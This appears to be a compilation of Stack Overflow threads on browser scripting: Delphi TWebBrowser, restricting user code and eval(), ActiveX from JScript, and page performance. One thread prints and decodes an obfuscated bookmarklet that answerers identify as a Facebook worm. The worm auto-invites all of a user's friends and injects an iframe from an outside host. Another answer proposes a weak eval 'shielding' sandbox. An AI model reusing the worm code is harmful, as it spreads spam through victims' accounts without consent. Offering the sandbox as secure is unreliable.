I have a Delphi application which loads a Google map in a TWebBrowser:
with WebBrowser1.Document as IHTMLDocument2 do
with parentWindow do
ExecScript('map.setCenter(new GLatLng(51.15917, 4.13889),10)', 'JavaScript');
Any idea of how to get the extents of the map in my application?
TIA
Steven
edit
Rob's answer points to a partial solution: javascript knows about the coordinates. I would like to get them into my Delphi application.
note on Expert's Exchange
(long answer to davidins' reply)
I was on Expert's Exchange when they started and when it was still free. I left there when they got greedy.
If somebody is nice enough to help me out on a technical problem, I don't mind paying the guy a drink for it, but I definitely don't want to pay somebody else for it.
And their 30-day trial is even worse. Why do I have to submit my credit card number if they're not going to charge it?
"Experts Exchange is the most trusted IT Resource on the internet and we are confident that you will agree" (sic). Well, I wouldn't be too sure, EE. I like SO a lot more, appreciate any help I can get and try to give answers whenever I can (which unfortunately is not often).
I was going to suggest that you use the fact that javascript knows the coordinates to somehow execute a script with that call in order to return the coordinates to your app. however, after looking at this thread - expert's exchange, it seems like that's not possible. but that same thread says "you can have your JavaScript function set the value of an HTML hidden field element, and then read that value from your Delphi code." the example is down towards the bottom. hope that's a little helpful. definitely not an ideal way to get the coordinates though.
edit: sorry, i didn't realize when you go to expert's exchange from here, it blocks the content. if you visit that page from google, it will show up. just to save you the time, here's a copy and paste of the solution:
DropZone:
I don't think there's a way to get the value of a JavaScript function directly, since the functions are executed through various magical layers of abstraction. However you can have your JavaScript function set the value of an HTML hidden field element, and then read that value from your Delphi code.
The first part is trivially simple: you just have the JavaScript function set the value on a hidden field:
<!-- Somewhere in the HTML form -->
<input type="hidden" id="HiddenFieldID" name="HiddenFieldName" value="">
--------------------
// JavaScript function
function MyFunc()
{
// Get the hidden field by its ID.
var elm = document.getElementById('HiddenFieldID');
if (elm) elm.value = '10086';
return 10086;
}
Here's an example on how to do this last part:
http://www.cryer.co.uk/brian/delphi/twebbrowser/read_write_form_elements.htm#GetValueOfField
In your case, you'll want to have something like the attached code.
-dZ.
function GetFieldValue(fromForm: IHTMLFormElement;
const fieldName: string): string;
var
field: IHTMLElement;
inputField: IHTMLInputElement;
selectField: IHTMLSelectElement;
textField: IHTMLTextAreaElement;
begin
field := fromForm.Item(fieldName,'') as IHTMLElement;
result := '';
if Assigned(field) and (field.tagName = 'INPUT') then
begin
inputField := field as IHTMLInputElement;
if inputField.type_ = 'hidden' then
result := inputField.value;
end
end;
IHTMLWindow2.execScript from the mentioned EE example should return the return value of the executed script as a Variant. But you don't have to use IHTMLDocument2.parentWindow property. There's also IHTMLDocument.Script which is an IDispatch so you can use it via Variant late binding:
var
Document: IHTMLDocument;
VScript, V: Variant;
begin
Document := WebBrowser.Document as IHTMLDocument;
VScript := Document.Script;
V := VScript.HelloJavaScript();
ShowMessage(V);
end;
HelloJavaScript is a javascript function returning a string:
<script language="javascript">
function HelloJavaScript()
{
s = "Hello, world! (javascript)";
alert(s);
return s;
}
</script>
Related
I have an idea for a game where people can type in some simple instructions for their character like player.goLeft() or player.attackInFront() and for that I have people type their code into a text box and then I parse it into eval(). This works well but it also allows people to change their own character object by typing things like player.health = Infinity; or something similar. I have a list of functions I want to allow people to use, but I am unsure how to restrict it to only use them.
I understand that the whole point of not letting people use eval is to avoid accidental cross-site scripting but I am unsure on how else to do this. If you have a suggestion please leave a comment about that.
I asked some people around on what to do and most suggested somehow changing scope(which is something I was not able to figure out) or to add some odd parameter to each function in my code that would be required to be a specific string to execute any function, but that seems hacky and since I am making the game in browser with p5js it would be easy to just inspect element and see what the password is.
basically every character has variable called "instruction" which is just a string of javascript. Then every frame of the game I execute it by doing eval(playerList[i].instruction);
tl;dr, how can I only allow specific function to be executed and not allow any others?
EDIT: I forgot to mention that I also am planning to provide player with information so that people can made code that would adapt to the situation. For example there will be parameter called vision that has vision.front and vision.left etc. These variables would just say if there is an enemy, wall, flower, etc around them in a grid. Some people suggested that I just replace some functions with key words but then it compromises the idea of using if statements and making it act differently.
EDIT 2: Sorry for lack of code in this post, but because of the way I am making it, half of the logic is written on server side and half of it works on client side. It will be a little large and to be completely honest I am not sure how readable my code is, still so far I am getting great help and I am very thankful for it. Thank you to everybody who is answering
Do NOT use eval() to execute arbitrary user input as code! There's no way to allow your code to run a function but prevent eval() from doing the same.
Instead, what you should do is make a map of commands the player can use, mapping them to functions. That way, you run the function based on the map lookup, but if it's not in the map, it can't be run. You can even allow arguments by splitting the string at spaces and spreading the array over the function parameters. Something like this:
const instructions = {
goLeft: player.goLeft.bind(player),
goRight: player.goRight.bind(player),
attackInFront: player.attackInFront.bind(player)
};
function processInstruction(instruction_string) {
const pieces = instruction_string.split(' ');
const command = pieces[0];
const args = pieces.slice(1);
if (instructions[command]) {
instructions[command](...args);
} else {
// Notify the user their command is not recognized.
}
};
With that, the player can enter things like goLeft 5 6 and it will call player.goLeft(5,6), but if they try to enter otherFunction 20 40 it will just say it's unrecognized, since otherFunction isn't in the map.
This issue sounds similar to the SQL Injection problem. I suggest you use a similar solution. Create an abstraction layer between the users input and your execution, similar to using parameters with stored procedures.
Let the users type keywords such as 'ATTACK FRONT', then pass that input to a function which parses the string, looks for keywords, then passes back 'player.attackInFront()' to be evaluated.
With this approach you simplify the syntax for the users, and limit the possible actions to those you allow.
I hope this isn't too vague. Good luck!
From your edit, it sounds like you're looking for an object-oriented approach to players. I'm not sure of your existing implementation needs, but it would look like this.
function Player() {
this.vision = {
left: '',
// and so on
}
}
Player.prototype.updateVisibilities = function() {
// to modify the values of this.visibility for each player
}
Player.prototype.moveLeft = function() {
}
Don't give the user an arbitrary interface (such as an input textfield that uses eval) to modify their attributes. Make a UI layer to control this logic. Things like buttons, inputs which explicitly run functions/methods that operate on the player. It shouldn't be up to the player as to what attributes they should have.
I want to allow users to enter their own math formulas into a field that I can run via javascript, but I only want them to enter math related code and also let them have access to only the Math object.
So I only want the user to be able to enter math symbols (+, -, *, %, etc) and use any function in the Math object.
I initially thought about using regex on the client and server to verify that they are only typing in what i allowed, and since they wont be able to run that code before it goes to the server, i thought maybe it would be OK, but I still don't know if just regex itself would even work for this.
How can I go about safely allowing and trusting a users input like this?
Edit: The formulas will always run on the client, but I will store them in the db as a string that i can send to them when they want to run it.
So a number of comments led me to find MathJs, and from reading some of the docs and comments on that site I see it is safe to allow user input and also allows the Math object.
And combining this with workerpool to limit execution time, I think that should have everything I'm needing.
Thanks to those who helped point me in the right direction!
If you can guarantee that text will not be executed on the server then conceptually you can try evalFormula below :
<html>
<head>
<script type="text/javascript">
function evalFormula(str) {
// shielding
var window = null;
var document = null;
// shortcuts
var abs = Math.abs;
return eval(str);
}
console.log( evalFormula("abs(-42)") );
console.log( evalFormula("document.write('')") ); // throws error
</script>
</head>
<body>
</body>
</html>
Note that the function contains // shielding section that shall contain "caps" for all "dangerous" objects that shall be prohibited in formula context.
Note: that set is quite difficult to define in full but in principle possible.
Local scope of the function may contain shortcuts of Math functions, so they can be used as abs(-42) but not as Math.abs(-42).
Idea of the code above: In JS eval() gets executed in context of current function. So all its local variables are available for the text being evaluated.
Ive got this labratory equipment that is connected to my PC. It uses special OCX file to communicate with the device (reading, setting parameters and such). I got this code from manual that seems to be working. I get a message box saying "Magnification =1272.814 Last error=API not initialized".
<HTML>
<HEAD>
<SCRIPT LANGUAGE="VBScript">
<!--
Sub window_onLoad()
Dim Value
Dim er
call Api1.Initialise("")
call Api1.Get("AP_MAG",Value)
call Api1.GetLastError(er)
call window.alert("Magnification = " + CStr(Value)+"Last error="+er)
call Api1.ClosingControl()
end sub
-->
</SCRIPT>
<TITLE>New Page</TITLE>
</HEAD>
<BODY>
<object classid="CLSID:71BD42C4-EBD3-11D0-AB3A-444553540000" id="Api1">
<PARAM NAME="_Version" VALUE="65536">
<PARAM NAME="_ExtentX" VALUE="2096">
<PARAM NAME="_ExtentY" VALUE="1058">
<PARAM NAME="_StockProps" VALUE="0">
</OBJECT>
</BODY>
</HTML>
So because I have 0% knowledge in vbs and about 10% in jscript I`m trying to rewrite the same thing in Javascript. And I also have some necessary code already written in js.
<script language="JScript">
var Api1=new ActiveXObject("ApiCtrl");
var value;
var er;
Api1.Initialise("");
Api1.Get("AP_MAG",value);
Api1.GetLastError(er);
window.alert("Magnification = " + value+"\n Last error="+er);
Api1.ClosingControl();
</script>
Unfortunately I get a type mismatch error in either .Get or .GetLastError methods either with var value; var er; or var value=""; var er="";
Here is what API manual has to say
long GetLastError(VARIANT* Error)
[out] Error is the error string
associated with the error code for the last error
Remarks: This call will return a VT_BSTR VARIANT associated with the last error. Return
Value: If the call succeeds, it returns 0. If the call fails, an error
code is returned from the function.
long Get(LPCTSTR lpszParam, VARIANT* vValue)
[in] lpszParam is the name of the parameter e.g. “AP_MAG”
[in][out] vValue is the value of the parameter Remarks: This call will get the
value of the parameter specified and return it in vValue. In C++,
before calling this functions you have to specify the variant type
(vValue.vt) to either VT_R4 or VT_BSTR. If no variant type is defined
for vValue, it defaults to VT_R4 for analogue parameters (AP_XXXX) and
VT_BSTR for digital parameters (DP_XXXX). If the variant type is VT_R4
for an analogue parameter, then the floating point representation is
returned in the variant. If a VT_BSTR variant is passed, analogue
values are returned as scaled strings with the units appended (e.g.
AP_WD would return “= 10mm”). For digital parameters, VT_R4 variants
result in a state number and VT_BSTR variants result in a state string
(e.g. DP_RUNUPSTATE would return state 0 or “Shutdown” or the
equivalent in the language being supported). In C++, if the variant
type was specified as VT_BSTR then the API will internally allocate a
BSTR which the caller has to de-allocate using the SDK call
::SysFreeString (vValue.bstrVal)
Welcome to StackOverflow!
Well, each language is made with purpose. Then come to deal with ActiveX objects in browser (or WSH) environment, VBScript is the best choice, while JavaScript is most worst.
JavaScript hasn't so-called out parameters. That mean all function arguments are passed by value (as copy). Lets show you this with examples.
' VBScript
Dim X, Y
X = 1
Y = 2
Foo X, Y
MsgBox "Outer X = " & X & ", Y = " & Y
'> Local args: 6, 8
'> Outer X = 1, Y = 8
Sub Foo(ByVal arg1, ByRef arg2)
arg1 = 6
arg2 = 8
MsgBox "Local args: " & arg1 & ", " & arg2
End Sub
By default in VBS the arguments are passed by reference, so ByRef prefix in function arguments declaration is optional. I include it for clarity.
What the example illustrate is the meaning of "by reference" or "out" parameter. It behave like return value because it modify referenced variable. While modifying "by value" variable has no effect outside of the function scope, because we modify a "copy" of that variable.
// JavaScript
function foo(arg1) {
arg1 = 2;
alert('Local var = ' + arg1);
}
var x = 0;
foo(x);
alert('Outer var = ' + x);
// Local var = 2
// Outer var = 0
Now take a look at this thread. Looks like there is a kind of partial solution by using empty objects. I'm not sure in which cases that will work, but for sure it's very limited hack.
If this not help in your case, then looks like it's time to go with VBScript. Starting with VBS is easy anyway. It's the most user friendly language I ever touch. I was need days, even weeks with other languages only to get started, while just after a few hours with VBS I was able to use it freely.
[EDIT] Well, I made a lot more efforts to reply as may looks like at the glance :) Starting with the language limitation you met. Afterwards going to explain the nature of that limitation (what's "in/out" parameter), and the best way to do that is via example, and this is what I did. Afterwards I show you the only workaround out there to deal with this limitation in JS. Can we consider this as complete answer?
You not mention whether you test this "empty-object-trick", but as you still asking I presume you did that and it's not work with your OCX, right? Then, in this case, you're just forced to deal with your OCX via VBScript, what was my answer from the beginning. And as you prefer to stay with JS then you need to integrate a piece of VB code in your solution.
And as you noted too, this VBs/Js integration is a whole new question. Yes, good question of course, but it's a metter of new topic.
Ok, lets say that the question you append below: "why it should work with passing objects as a function parameter", is still a part of the main question. Well, as you see, even people using JS daily (am not one of them) has no idea what happens "behind the hood", i.e. do not expect an answer on what the JS-engine do in this case, or how this cheat the JS-engine to do something that it's not designed to do. Personally, as I use JS very rarely and not for such tasks, am not even sure if this trick works at all. But as the JS-guys assert it works (in some cases) then we s'd trust them. But that's all about. If this approach fail then it's not an option.
Now what's remain is a bit of homework, you s'd research all available methods for VBs/Js integration, also test them to see which one is most applicable to your domain, and if by chance you meet with difficulties, just then come-back to the forum with new topic and the concrete issue you're trying to resolve.
And to become as helpful as possible, I'll facilitate you with several references to get started.
Here is the plan...
1. If it's possible to work without VBs/Js integration then use stay-alone .VBS files (in WSH environment), else ...
2. In case you work in browser environment (HTML or HTA) then you can embed both (VBs/Js), and your integration w'd be simple.
3. Or may integrate VBs/Js with Windows Script Files (.wsf).
4. Or use ScriptControl that allow running VBScript from within JScript (or backward/opposite).
Links:
Using the ScriptControl
How To Call Functions Using the Script Control
An example VBs/Js integration using ScriptControl via
Batch-Embeded-Script
What is Batch-Embeded-Script:
VBS/Batch Hybrid
JS/Batch Hybrid
5. Some other method (if you find, that am not aware of).
Well, after all this improvements I not see what I can append more, and as I think, now
my answer is more than complete. If you agree with my answer then accept it by clicking on the big white arrow. Of course, if you expect to get better reply from other users, you may still wait, but keep in mind that unanswered questions stay active just for awhile and then become closed.
Note that I am not experienced with Javascript. If a javascript code starts like this:
javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...
Then is it compiled? If so, any way of decompiling it? If it is not compiled, then any help on how to read this type of code?
Any help would be greatly appreciated.
EDIT:
Thank you all for the kind responds. And wow, I had no idea that I would get replied this quickly, kudos to Stackoverflow.
Nevertheless, can anyone help me make this more readible than:
var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
"\x73\x75\x67\x67\x65\x73\x74",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));
It's merely obfuscated. _0x89f8 is a normal variable, "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C" is a normal string (except with all characters written in hexadecimal: \x69 is i and so on; it says "innerHTML").
This looks like obfuscated JavaScript — whoever put it up doesn’t want it to be easily read. Without meaningful variable names, it will be difficult to understand (i.e. what does _0x89f8 mean?).
The string parameters are escaped strings: \x69 is the hex for the character i etc.
Copy-paste the following to your browser console (dev tools) (hit F12) to see how it looks:
"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C"
Chances are that the function being called builds up a JavaScript string from the parameters and then calls eval on them.
You'll find these on Facebook a LOT.
They're usually not this obfuscated though, and normally deal with friend invitations or something along those lines.
I hardly ever execute javascript in the address line so I never checked further into any of these.
This means I have no idea if this is malicious...
You can use this http://jsbeautifier.org/ tool to unobfuscate the code auto magically (well, at least partially)...
var _0x4249=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x30\x37\x31\x39\x36\x37\x36\x36\x33\x38\x35\x33\x35\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x31\x69\x37\x35\x35\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x36\x30\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0x4249[0],_0x4249[1],_0x4249[2],_0x4249[3],_0x4249[4],_0x4249[5],_0x4249[6],_0x4249[7],_0x4249[8],_0x4249[9],_0x4249[10],_0x4249[11],_0x4249[12],_0x4249[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0x4249[14]);
becomes....
var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=329722447896" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
fs[variables[10]]();
}, 4000);
void setTimeout(function () {
SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="http://sslhoster.com/pages/newps3" style="width: 798px; height: 550px;" frameborder=0 scrolling="no"></iframe>');
using default settings...
For this one in particular though I had to have access to the FB page to get ALL of the javascript (I'm digging further)...
Thankfully the Wife always asks before executing javascript in the address line (she found the javascript just this evening).
Kris
No this javascript is not compiled, the "strange" text you see is encoded text. For example
\x69 equals the letter i
It's a differant notation for normal letters and other characters (#,/ etc). And used to make text harder to read, or when using strange/unusual characters in strings for example.
The function escape() will go from i to \x69 .As where the function unescape() will go from \x69 back to the letter i.
The above code example is just an array of encoded strings.
It is an obfuscated JS code.
If something is a JS source code, it is never compiled, even if it looks unreadable.
There are many JS code obfuscators or minimizers exist.
Can you identify which program generated it?
This code appears to be part of a facebook worm.
Well, I have to admit, I was curious enough that I opened a new facebook profile to find out what this thing does...
after reading the un-obfuscated code you can determine that this script will automatically open your Friend's list, and suggest just this Facebook page to all your friends (the amount allowed, of course). Therefor sending out invitations (unknowingly) to all of your friends, which some will undoubtedly continue...
Simply put, don't copy any JavaScript lines without knowing who posted them in the first place. :)
On one page of my website the user has the ability to choose and remove up to 2000 items through selecting multiple string representations of them in a dropdown list.
On page load, the objects are loaded onto the page from a previous session into 7 different drop-down lists.
In the window.onload event, the function looping through the items in the drop-downs makes an internal collection of the objects by adding them to a global array - This makes the page ridiculously slow to load, so, I'm fairly certain probably doing it wrong!
How else am I supposed to store these variables?
This is their internal representation:
function Permission(PName, DCID, ID) {
this.PName = PName;
this.DCID = DCID;
this.ID = ID;
}
where: PName is string. DCID is int. ID is int.
EDIT:
Thanks for the quick replies! I appreciate the help, I'm not great with JS! Here is more information:
'selectChangeEvent' is added to the Change and Click event of the Drop down list.
function selectChangeEvent(e) {
//...
addListItem(id);
//...
}
'addListItem(id)' sets up the visual representation of the objects and then calls :
function addListObject(x, idOfCaller) {
var arIDOfCaller = idOfCaller.toString().split('-');
if (arIDOfCaller[0] == "selLocs") {
var loc = new AccessLocation(x, arIDOfCaller[1]);
arrayLocations[GlobalIndexLocations] = loc;
GlobalIndexLocations++;
totalLocations++;
}
else {
var perm = new Permission(x, arIDOfCaller[1], arIDOfCaller[2]);
arrayPermissions[GlobalIndexPermissions] = perm;
GlobalIndexPermissions++;
totalPermissions++;
}
}
Still not enough to go on, but there are some small improvements I can see.
Instead of this pattern:
var loc = new AccessLocation(x, arIDOfCaller[1]);
arrayLocations[GlobalIndexLocations] = loc;
GlobalIndexLocations++;
totalLocations++;
which seems to involve redundant counters and has surplus assignment operations, try:
arrayLocations[arrayLocations.length] = new AccessLocation(x, arIDOfCaller[1]);
and just use arrayLocations.length where you would refer to GlobalIndexLocations or totalLocations (which fromt he code above would seem to always be the same value).
That should gain you a little boost, but this is not your main problem. I suggest you add some debugging Date objects to work out where the bottleneck is.
You may want to consider a design change to support the load. Some sort of paged result set or similar, to cut down on the number of concurrent records being modified.
As much as we desperately want them to be, browsers aren't quite there yet in terms of script execution speed that allow us to do certain types of heavy lifting on the client.
While I haven't tested this idea, I figured I'd throw it out there - might it be faster to return a JSON string from the server side, where your array is fully calculated on that side?
From that point, I'd wager that eval()'ing it (as evil as this may be) might be fast enough to where you could then write the contents onto the page, and your array setup would already be taken care of.
Then again, I suppose the amount of work it'd take the browser to construct the 2k new objects and inject them into the DOM wouldn't necessarily help the speed side of things in the end. At the end of the day, a design change is probably necessary, but sometimes we're stuck with what we've got, eh?